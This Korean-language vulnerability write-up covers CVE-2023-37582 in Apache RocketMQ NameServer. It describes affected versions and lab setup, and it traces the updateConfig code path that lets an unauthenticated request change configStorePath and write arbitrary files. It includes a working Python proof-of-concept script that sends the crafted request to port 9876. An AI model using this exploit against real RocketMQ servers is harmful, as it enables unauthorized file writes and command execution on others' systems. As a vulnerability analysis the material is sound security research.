취약점 프로필
Apache RocketMQ는 짧은 대기 시간, 높은 동시성, 고가용성 및 높은 안정성을 갖춘 분산 메시지 미들웨어입니다. CVE-2023-37582에서는 CVE-2023-33246의 불완전한 복구로 인해 Apache RocketMQ NameServer에 대한 무단 액세스가 있는 경우 공격자가 RocketMQ를 실행하는 시스템 사용자로 명령을 실행하는 악의적인 요청을 구성할 수 있습니다.
영향을 받는 버전
아파치 RocketMQ <= 5.1.1
아파치 RocketMQ <= 4.9.6
환경 빌드
Apache RocketMQ 원격 코드 실행 취약점 CVE-2023-33246 환경 설정 참조
여전히 디버깅의 편의를 위해 Linux에서 RocketMQ 관련 서비스를 빌드하고 소스 코드를 사용하여 시작합니다.
총 2개의 서비스를 실행해야 합니다.
org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup
먼저 NamesrvStartup을 시작한 다음 BrokerStartup을 시작하고 환경 변수 ROCKETMQ_HOME ROCKETMQ_HOME=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0을 구성해야 합니다.
취약점 재발
파이썬 스크립트 실행
import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.222.130',9876))
# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:] # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
tmp 디렉터리 아래의 test.txt 파일에 지정된 문자열 테스트를 성공적으로 작성합니다.
취약점 분석
org/apache/rocketmq/remoting/protocol/RequestCode.java
코드는 다른 기능을 호출하는 것을 의미하며 이때 318 업데이트 구성 작업이 호출됩니다.
src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java
해당 코드에 따라 해당 기능이 처리를 위해 호출됩니다.
src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java
src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig
src/main/java/org/apache/rocketmq/remoting/Configuration.java#update
먼저 제어 가능한 속성인지 여부를 확인합니다.
src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist
src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath
파일 경로를 얻기 위해 호출하며 getStorePath
이때 얻은 값은 configStorePath의 값입니다.
src/main/java/org/apache/rocketmq/common/MixAll.java#string2File
src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe
src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile
버그 수정
구성 경로 수정을 비활성화하는 매개변수 수정
원본 원고 요청
원본 기술 문서 요청, 게시 환영
제출 이메일: [email protected]
기사 유형: 해커 괴짜 기술, 정보 보안 핫스팟, 보안 연구 및 분석 등
심사를 통과하여 게재하면 200~800위안 범위의 보수를 받을 수 있습니다.
사격장 연습, "원문 읽기" 클릭